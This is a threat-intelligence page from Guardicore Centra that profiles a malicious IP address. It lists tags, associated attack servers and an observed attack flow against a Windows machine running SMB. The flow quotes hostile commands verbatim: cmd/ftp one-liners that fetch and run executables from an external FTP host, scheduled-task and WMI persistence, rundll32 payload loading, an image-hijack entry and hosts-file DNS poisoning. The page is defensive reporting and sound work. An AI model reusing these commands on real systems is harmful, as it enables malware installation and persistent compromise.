IP Address: 96.255.110.243Malicious

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IP Address:
96.255.110.243​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Service Start Service Creation Service Configuration DNS Poisoning HTTP SMB Null Session Login Download and Execute WMI Persistence SMB Access Suspicious Domain Scheduled Task Creation Outgoing Connection File Operation By CMD Persistency - Image Hijack Download File Cookie Hijacking CMD System File Modification

Associated Attack Servers

sharktech.net hosteons.com quadranet.com img.vim-cn.com grantmindline.com

70.39.123.18 172.83.155.170 45.58.135.106 185.47.128.124 172.67.129.143 139.5.177.32 155.94.228.223 103.124.105.246 173.208.139.170 137.175.56.104 217.195.153.116 104.37.187.182 104.233.207.172 23.236.69.114 173.208.153.130

Basic Information

IP Address

96.255.110.243

Domain

-

ISP

Verizon Fios Business

Country

United States

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-09-14

Last seen in Guardicore Centra

2021-05-08

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named ogTB under service group None

Service Start Service Creation

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 185.47.128.124:8124 and 217.195.153.116:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172, 137.175.56.104:80 and 155.94.228.223:80

Outgoing Connection

C:\windows\Temp\wmia.bat was downloaded

Download File

System file C:\windows\Temp\wmia.bat was modified 9 times

System File Modification

C:\WINDOWS\Temp\ntuser.dat was downloaded

Download File

System file C:\windows\Temp\u.exe was modified 9 times

System File Modification

The file C:\windows\Temp\u.exe was downloaded and executed

Download and Execute

C:\WINDOWS\inf\aspnet\lsma12.exe was downloaded

Download File

System file C:\WINDOWS\Temp\ntuser.dat was modified 4 times

System File Modification

System file C:\WINDOWS\inf\aspnet\lsma12.exe was modified 4 times

System File Modification

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80, 104.37.187.182:8888 and 172.83.155.170:80

Outgoing Connection

c:\windows\debug\item.dat was downloaded

Download File

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Outgoing Connection Access Suspicious Domain

The file c:\windows\temp\conhoy.exe was downloaded and executed 17 times

Download and Execute

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system32\packet.dll

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 2 times

Persistency - Image Hijack

c:\windows\system32\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

WMI persistence was detected. Consumers used: CommandLineEventConsumer

WMI Persistence

Connection was closed due to user inactivity

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IP Address: 96.255.110.243​Malicious